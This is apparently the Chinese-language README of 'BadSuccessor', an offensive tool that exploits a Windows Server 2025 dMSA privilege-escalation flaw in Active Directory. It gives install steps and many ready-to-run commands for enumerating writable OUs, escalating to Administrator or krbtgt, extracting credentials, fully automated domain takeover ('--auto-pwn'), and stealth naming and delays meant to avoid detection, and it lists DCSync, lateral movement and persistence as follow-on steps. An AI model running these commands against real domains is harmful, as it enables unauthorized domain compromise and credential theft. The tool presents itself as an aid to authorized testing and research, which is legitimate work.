利用 Windows Server 2025 的 dMSA 权限提升漏洞,枚举可写 OU,将权限提升至任意域用户,提取凭据,并在经授权的 AD 安全评估中实现域接管。
一个利用 Windows Server 2025 Active Directory 环境中 dMSA(委派托管服务帐户)权限提升漏洞的渗透测试工具。
**此工具仅用于经授权的渗透测试和安全研究目的。**未经明确书面许可对系统使用此工具属非法且不道德的行为。作者对此工具造成的任何误用或损害概不负责。
重要提示:此工具正处于积极开发和测试阶段。
我们鼓励安全社区:
使用此工具即表示您确认该工具正处于积极开发阶段,并可能需要针对您的特定环境进行修改。
BadSuccessor 利用 Windows Server 2025 委派托管服务帐户(dMSA)功能中的权限提升漏洞。该漏洞允许拥有最低权限的攻击者将权限提升至域中的任何用户,包括域管理员。
此工具基于 Akamai Technologies 的 Yuval Gordon 所做的出色研究:
该漏洞存在于 dMSA 迁移过程中:
msDS-ManagedAccountPrecededByLink 或 ms-DS-Managed-Account-Preceded-By-Link 设置为指向目标用户msDS-DelegatedMSAState 或 ms-DS-Delegated-MSA-State 设置为 2(迁移完成)此外,KERB-DMSA-KEY-PACKAGE 结构包含目标用户的密码密钥,从而能够提取凭据。
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**注意**:该工具已使用 impacket 0.12.0 进行测试。运行时将显示版本兼容性警告。
### 可选依赖```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChild 权限Write 权限GenericWrite 权限GenericAll 权限git clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### 快速入门示例
#### 1. 试运行模式(新增)- 在不进行更改的情况下测试```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. 执行攻击```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. 会话管理 (新增)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html
### 命令行选项
#### 身份验证参数
| 选项 | 描述 |
|--------|-------------|
| `-d, --domain` | 目标域(例如 corp.local)**[必需]** |
| `-u, --username` | 用于身份验证的用户名 **[必需]** |
| `-p, --password` | 用于身份验证的密码 |
| `--dc-ip` | 域控制器 IP(省略时自动发现) |
| `--ldaps` | 强制在 636 端口上使用 LDAPS (SSL) 连接 |
#### 攻击模式
| 选项 | 描述 |
|--------|-------------|
| `--attack` | 执行 BadSuccessor 攻击 |
| `--dry-run` | **新增**:模拟攻击而不进行任何更改 |
| `--extract-creds` | 使用密钥包提取凭据 |
| `--auto-pwn` | 全自动域接管 |
#### 目标指定
| 选项 | 描述 |
|--------|-------------|
| `--target` | 要提升权限的目标用户 |
| `--targets` | 用于凭据提取的逗号分隔的用户列表 |
| `--validate-target` | **新增**:在不发起攻击的情况下验证目标账户 |
#### dMSA 配置
| 选项 | 描述 |
|--------|-------------|
| `--dmsa-name` | 恶意 dMSA 的名称(未指定时自动生成) |
| `--dmsa-pattern` | **新增**:dMSA 命名模式(例如 "svc{random}{target}") |
| `--ou-dn` | 要使用的特定 OU DN(未指定时自动检测) |
| `--dmsa-description` | **新增**:创建的 dMSA 的描述 |
| `--dmsa-display-name` | **新增**:创建的 dMSA 的显示名称 |
#### 枚举选项
| 选项 | 描述 |
|--------|-------------|
| `--enumerate` | 枚举具有任何写入权限的 OU |
| `--list-targets` | 列出高价值目标 |
| `--check-schema` | 验证 Windows Server 2025 架构 |
#### 会话管理(新增)
| 选项 | 描述 |
|--------|-------------|
| `--session-id` | 恢复现有会话 |
| `--list-sessions` | 列出所有可用会话 |
| `--cleanup-session SESSION_ID` | 清理会话中的所有 dMSA |
#### 清理选项
| 选项 | 描述 |
|--------|-------------|
| `--cleanup` | 移除创建的 dMSA |
| `--dmsa-dn` | 用于清理操作的 dMSA DN |
| `--cleanup-all` | **新增**:清理当前会话中的所有 dMSA |
#### 输出选项
| 选项 | 描述 |
|--------|-------------|
| `--export-json FILE` | **新增**:将结果导出为 JSON 文件 |
| `--export-csv FILE` | **新增**:将结果导出为 CSV 文件 |
| `--export-html FILE` | **新增**:生成 HTML 报告 |
| `--no-banner` | 抑制横幅输出 |
| `--verbose` | 启用详细输出 |
#### 隐身选项(新增)
| 选项 | 描述 |
|--------|-------------|
| `--stealth` | 启用隐身模式(无害命名) |
| `--random-delay SECONDS` | 操作之间的随机延迟(0-N 秒) |
## 🔧 攻击工作流程
### 阶段 1:侦察
1. **架构验证**:通过动态属性检测确认 Windows Server 2025 dMSA 支持
2. **权限发现**:识别具有任何写访问权限的 OU(不仅仅是 CreateChild)
3. **目标验证**:**新增** - 攻击前的全面目标账户分析
### 阶段 2:利用
1. **预演选项**:**新增** - 在不进行更改的情况下测试攻击可行性
2. **dMSA 创建**:创建具有可自定义属性的恶意 dMSA
3. **属性操作**:在架构感知下设置前驱链接和迁移状态
4. **会话跟踪**:**新增** - 跟踪所有创建的对象以便轻松清理
### 阶段 3:身份验证
1. **Kerberos TGT 请求**:获取具有继承权限的 TGT
2. **PAC 分析**:验证继承的组成员身份
3. **密钥包提取**:通过多种回退方法增强解析
### 阶段 4:后利用
该工具提供可直接使用的命令,用于:
- DCSync 攻击(转储所有域哈希)
- 远程命令执行
- 横向移动
- 建立持久化
## 🔐 生产级功能 (v3.0.0)
### 动态架构检测(新增)
- 自动检测您的环境使用哪种属性命名约定
- 支持 dMSA 属性的所有已知变体
- 针对不同 Windows Server 2025 版本的架构回退机制
### 增强的目标验证(新增)
- 攻击前的目标账户验证
- 检测已禁用、锁定或过期的账户
- 警告智能卡要求和委派限制
- 根据目标属性提供建议